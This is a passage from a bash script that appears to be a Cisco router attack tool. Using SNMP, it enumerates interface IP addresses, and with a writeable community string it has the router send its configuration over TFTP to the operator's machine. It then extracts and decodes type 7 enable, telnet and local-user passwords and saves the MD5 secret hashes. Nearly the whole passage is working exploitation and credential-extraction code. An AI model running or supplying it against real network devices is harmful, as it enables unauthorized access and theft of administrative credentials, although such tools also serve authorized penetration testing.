509 | IPADDRESSCHECK=$(snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $INTIPLISTOID | awk '{print $NF}' 2>&1)
510 | IPADDRESSSUBNETCHECK=$(snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $INTIPMASKOID | awk '{print $NF}' 2>&1)
511 |
512 | if [ -n "$IPADDRESSCHECK" ] && [ -n "$IPADDRESSSUBNETCHECK" ]
513 | then
514 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} IP Address Information Obtained "
515 | echo "-----------------" >"$OUTPUTDIR"IPLIST
516 | echo "IP_Address" >>"$OUTPUTDIR"IPLIST
517 | echo "-----------------">>"$OUTPUTDIR"IPLIST
518 | echo "$IPADDRESSCHECK" >>"$OUTPUTDIR"IPLIST
519 | echo "---------------" >"$OUTPUTDIR"IPMASK
520 | echo "Subnet_Mask" >>"$OUTPUTDIR"IPMASK
521 | echo "---------------">>"$OUTPUTDIR"IPMASK
522 | echo "$IPADDRESSSUBNETCHECK" >>"$OUTPUTDIR"IPMASK
523 | paste "$OUTPUTDIR"IPLIST "$OUTPUTDIR"IPMASK |column -t 2>&1 >"$OUTPUTDIR$CISCOIP"-iplist.txt
524 | cat "$OUTPUTDIR$CISCOIP"-iplist.txt
525 | printf '\n'
526 | #remove temp files
527 | rm "$OUTPUTDIR"IP* 2>&1 >/dev/null
528 | printf '\r%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} The IP address list has also been saved to the following location ${BRIGHT}${BLUE}"$OUTPUTDIR$CISCOIP"-iplist.txt${NORMAL}"
529 | fi
530 | }
531 | ipaddresssearch &
532 | spinner $! "Searching for IP Address information"
533 |
534 | # config download check if have write community string
535 | checkrwtftp() {
536 | echo "$READW" >/dev/null
537 | if [ -z "$READW" ]
538 | then
539 | printf '\r%s \n\n' "${BRIGHT}${RED}[!]${NORMAL} I will not be able to attempt to download the config, as I didn't find any writeable community string earlier."
540 | printf '\r%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} Script will now exit as I have done all I can with read only access"
541 | exit 1
542 | else
543 | printf '\r%s \n' "${BRIGHT}${BLUE}[i]${NORMAL} As a writeable SNMP community string of ${BRIGHT}${GREEN}"$READW"${NORMAL} was found, an attempt will be made to download the config file"
544 | pause
545 | clear
546 |
547 | fi
548 |
549 | }
550 |
551 | # list source Ethernet interfaces to scan from
552 | sourceinterfaces() {
553 | printf '\n\r%s\n\n' "${BRIGHT}${BLUE}[i]${NORMAL} The following Interfaces are available"
554 | ip addr show |grep -v LOOPBACK |grep qlen | cut -d ':' -f 2 |awk '{sub(/^[ \t]+/, ""); print}'
555 | printf '\n\r%s\n' "${BRIGHT}${RED}----------------------------------------------------------"
556 | printf '\r%s\n' "${BRIGHT}${RED}[?]${NORMAL} Enter the local interface to use:"
557 | printf '\r%s\n\n' "${BRIGHT}${RED}----------------------------------------------------------${NORMAL}"
558 | read MYINT
559 |
560 | CHECKMYINT=$(ip addr show |grep -v LOOPBACK |grep qlen | cut -d ':' -f 2 |awk '{sub(/^[ \t]+/, ""); print}'| grep -i -w "$MYINT")
561 | if [ "$CHECKMYINT" != "$MYINT" ]
562 | then
563 | printf '\n \r%s %s\n\n' "${BRIGHT}${RED}[!]${NORMAL}" "Sorry the interface you entered does not exist! - check and try again."
564 | exit 0
565 | else
566 | LOCALIP=$(ip addr |grep "$MYINT" |grep "inet" |cut -d "." -f 1,2,3,4 |cut -d "/" -f 1 | cut -d "t" -f 2 |awk '{sub(/^[ \t]+/, ""); print}')
567 | if [ -z "$LOCALIP" ]
568 | then
569 | printf '\r\n%s \n\n' "${BRIGHT}${RED}[!]${NORMAL} ${BRIGHT}${GREEN}"$MYINT"${NORMAL} has no IP Address set, please select an interface that has an IP Address configured"
570 | pause
571 | sourceinterfaces
572 | else
573 | printf '\r\n%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} I will use your IP address of ${BRIGHT}${BLUE}"$LOCALIP"${NORMAL} on ${BRIGHT}${BLUE}"$MYINT"${NORMAL} to TFTP the config"
574 | fi
575 | fi
576 | printf '\n'
577 |
578 | }
579 | pause
580 | clear
581 | sourceinterfaces
582 | pause
583 | checkrwtftp
584 |
585 | #start TFTP server
586 | printf '\r\n%s \n' "${BRIGHT}${BLUE}[i]${NORMAL} Starting local TFTP server to listen for the config file"
587 |
588 | atftpd -v --port 69 --daemon --bind-address "$LOCALIP" "$TFTPOUTPUTDIR" 2>/dev/null
589 | if [ $? = 0 ]
590 | then
591 | printf '\r\n%s \n' "${BRIGHT}${GREEN}[+]${NORMAL} TFTP started successfully."
592 |
593 | else
594 | printf '\r\n%s \n' "${BRIGHT}${RED}[!]${NORMAL} Error unable to start TFTP server."
595 | exit 0
596 | fi
597 |
598 | printf '\n\n'
599 | # Attempt to download Cisco config via TFTP
600 | snmpset -Cq -r 2 -t 5 -v $SNMPVER -c $READW $CISCOIP $TFTPOID$LOCALIP s $CISCOIP.txt 2>/dev/null &
601 | SECONDS=0;
602 | while sleep .5 && ((SECONDS <= 10))
603 | do
604 | printf '\r%s %s %1d %s' "${BRIGHT}${BLUE}[i]${NORMAL}" "Now attempting to download the router config file, waiting for " "$((10-SECONDS))" "seconds."
605 | done
606 | printf '\n\n'
607 |
608 | cat "$TFTPOUTPUTDIR$CISCOIP.txt" >/dev/null 2>&1
609 | if [ $? = 1 ]
610 | then
611 | printf '\r\n%s \n' "${BRIGHT}${RED}[!]${NORMAL} There was a problem I couldn't TFTP download the config. Check your IP and firewall settings and try again. If using a VM ensure it is in bridged mode and not NAT"
612 | killall atftpd 2>/dev/null
613 | printf '\r\n%s \n' "${BRIGHT}${BLUE}[!]${NORMAL} Stopping local TFTP server."
614 | exit 1
615 | else
616 | mv "$TFTPOUTPUTDIR$CISCOIP.txt" "$OUTPUTDIR$CISCOIP-router-config.txt"
617 | printf '\r%s \n' "${BRIGHT}${GREEN}[+]${NORMAL} Success. Cisco config was downloaded to the following location ${BRIGHT}${BLUE}$OUTPUTDIR$CISCOIP-router-config.txt${NORMAL}"
618 | printf '\r\n%s \n' "${BRIGHT}${BLUE}[i]${NORMAL} Stopping local TFTP server."
619 | killall atftpd 2>/dev/null
620 | pause
621 | fi
622 |
623 | # look for encoded or clear text enable passwords
624 | clearenable() {
625 | CLEARENABLECHECK=$(cat "$OUTPUTDIR$CISCOIP-router-config.txt" |grep "enable password 7" 2>&1)
626 | if [ -n "$CLEARENABLECHECK" ]
627 | then
628 | ENPW7=$(cat "$OUTPUTDIR$CISCOIP-router-config.txt" |grep "enable password 7" |awk '{print $NF}' 2>&1)
629 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} Service password-encryption is enabled. The enable encoded type 7 password string is"
630 | printf '\r%s \n\n' "${BRIGHT}${GREEN}"$ENPW7"${NORMAL}"
631 | printf '\r\%s \n' "$ENPW7" >"$OUTPUTDIR$CISCOIP-ciscoenable7pw.txt"
632 | BASE64="$ENPW7"
633 | export BASE64
634 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} The decoded enable type 7 password is"
635 | # Run perl base64 decode function
636 | perldecode
637 | else
638 | printf '\r%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} It seems that that no encoded enable 7 password is set"
639 | fi
640 |
641 | CLRENABLE=$(cat "$OUTPUTDIR$CISCOIP-router-config.txt" |grep "enable password" | awk '{print $3}' 2>&1)
642 | if [ -z "$CLRENABLE" ]
643 | then
644 | printf '\r%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} I didn't find any clear text enable passwords set"
645 | elif [ "$CLRENABLE" != "7" ]
646 | then
647 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} Clear Text Enable password was found"
648 | printf '\r%s \n\n' "${BRIGHT}${GREEN}"$CLRENABLE"${NORMAL}"
649 | fi
650 | }
651 | clearenable
652 |
653 |
654 | # look for local users with encoded passwords - if 1 user decode it, it >1 then just list them (will update to loop and decode them all soon).
655 |
656 | localencoded() {
657 | ENLOCAL7ONE=$(cat "$OUTPUTDIR$CISCOIP-router-config.txt" |grep "username" |grep "password 7" |wc -l 2>&1)
658 | if [ $ENLOCAL7ONE -gt 1 ]
659 | then
660 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} The following local users with type 7 encoded passwords were found. I am unable to decode more than 1 password, please use Cain & Abel or tools to decode the passwords"
661 | ENLOCAL7ONELIST=$(cat "$OUTPUTDIR$CISCOIP-router-config.txt" |grep "username" |grep "password 7" 2>&1)
662 | printf '\r%s \n' "$ENLOCAL7ONELIST" >"$OUTPUTDIR$CISCOIP-ciscolocalusers7pw.txt"
663 | cat $OUTPUTDIR$CISCOIP-ciscolocalusers7pw.txt 2>&1
664 | printf '\n'
665 | elif [ $ENLOCAL7ONE -eq 1 ]
666 | then
667 | ENLOCAL7=$(cat "$OUTPUTDIR$CISCOIP-router-config.txt" |grep "username" |grep "password 7" |awk '{print $2}' 2>&1)
668 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} The following local user account was found with a encoded type 7 password"
669 | printf '\r%s \n\n' "${BRIGHT}${GREEN}"$ENLOCAL7"${NORMAL}"
670 | ENLOCAL7VAL=$(cat "$OUTPUTDIR$CISCOIP-router-config.txt" |grep "username" |grep "password 7" |awk '{print $NF}' 2>&1)
671 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} User ${BRIGHT}${GREEN}"$ENLOCAL7"${NORMAL} encoded password value is:"
672 | printf '\r%s \n\n' "${BRIGHT}${GREEN}"$ENLOCAL7VAL"${NORMAL}"
673 | printf '\r%s \n' "$ENPW7" >"$OUTPUTDIR$CISCOIP-ciscolocal7pw.txt"
674 |
675 | BASE64="$ENLOCAL7VAL"
676 | export BASE64
677 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} The decoded password for user ${BRIGHT}${GREEN}"$ENLOCAL7"${NORMAL} is:"
678 | # Run perl base64 decode function
679 | perldecode
680 | else
681 | printf '\r\n%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} No local users accounts were found on the device"
682 | fi
683 | }
684 | localencoded
685 |
686 | telnetclear(){
687 | # look for encoded telnet passwords
688 | VTPPW7=$(cat "$OUTPUTDIR$CISCOIP-router-config.txt" |grep -B1 "login" |grep "password 7" |awk '{print $NF}' |head -1 2>&1)
689 | if [ -z "$VTPPW7" ]
690 | then
691 | printf '\r\n%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} There doesn't seem to be any encoded telnet passwords set"
692 | else
693 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} The following encoded telnet password was found"
694 | printf '\r%s \n\n' "${BRIGHT}${GREEN}"$VTPPW7"${NORMAL}"
695 | BASE64="$VTPPW7"
696 | export BASE64
697 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} The decoded telnet type 7 password is:"
698 | # Run perl base64 decode function
699 | perldecode
700 |
701 | fi
702 | # look for clear text telnet passwords
703 | VTYPWCLRREV=$(cat "$OUTPUTDIR$CISCOIP-router-config.txt" |grep -B1 "login" |grep "password" |awk '{print $NF}' |sort --unique 2>&1)
704 | VTYPWCLRREV2=$(cat "$OUTPUTDIR$CISCOIP-router-config.txt" |grep -B1 "login" |grep "password 7" |awk '{print $NF}' |sort --unique 2>&1)
705 | if [ -z "$VTYPWCLRREV" ]
706 | then
707 | printf '\r\n%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} No telnet password for login appears to be set"
708 | elif [ -n "$VTYPWCLRREV2" ]
709 | then
710 | printf '\n'
711 | else
712 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} The following clear text telnet password was found"
713 | printf '\r%s \n\n' "${BRIGHT}${GREEN}"$VTYPWCLRREV"${NORMAL}"
714 |
715 | fi
716 |
717 | }
718 | telnetclear
719 |
720 | localusermd5() {
721 | # look for any local users with MD5 set
722 | LOCPW5=$(cat "$OUTPUTDIR$CISCOIP-router-config.txt" |grep "username" |grep "secret 5" |cut -d " " -f 2,5 2>&1 )
723 | if [ -z "$LOCPW5" ]
724 | then
725 | printf '\r\n%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} No local user accounts with MD5 were found to be set."
726 | else
727 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} The following local users with MD5 passwords were found."
728 | printf '\r%s %s \n\n' "${BRIGHT}${GREEN}"$LOCPW5"${NORMAL}"
729 | printf '\r%s \n' "$LOCPW5" >"$OUTPUTDIR$CISCOIP-ciscolocalusersecret5pw.txt"
730 | fi
731 |
732 | }
733 |
734 | localusermd5
735 |
736 | enablesecretmd5() {
737 | # get enable secret md5 hash
738 | SECPW5=$(cat "$OUTPUTDIR$CISCOIP-router-config.txt" |grep "enable secret 5" |awk '{ print $NF }' 2>&1)
739 | if [ -z "$SECPW5" ]
740 | then
741 | printf '\r\n%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} No Enable Secret MD5 found."
742 | rm *.tmp 2>/dev/null
743 | exit 0
744 | else
745 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} The following Enable Secret MD5 was found to be set."
746 | printf '\r%s %s \n\n' "${BRIGHT}${GREEN}"$SECPW5"${NORMAL}"
747 | printf '\r%s \n' "$SECPW5" >"$OUTPUTDIR$CISCOIP-ciscosecret5pw.txt"
748 | fi
749 | }
750 | enablesecretmd5
751 | rm *.tmp 2>/dev/null
752 | #END
753 |
--------------------------------------------------------------------------------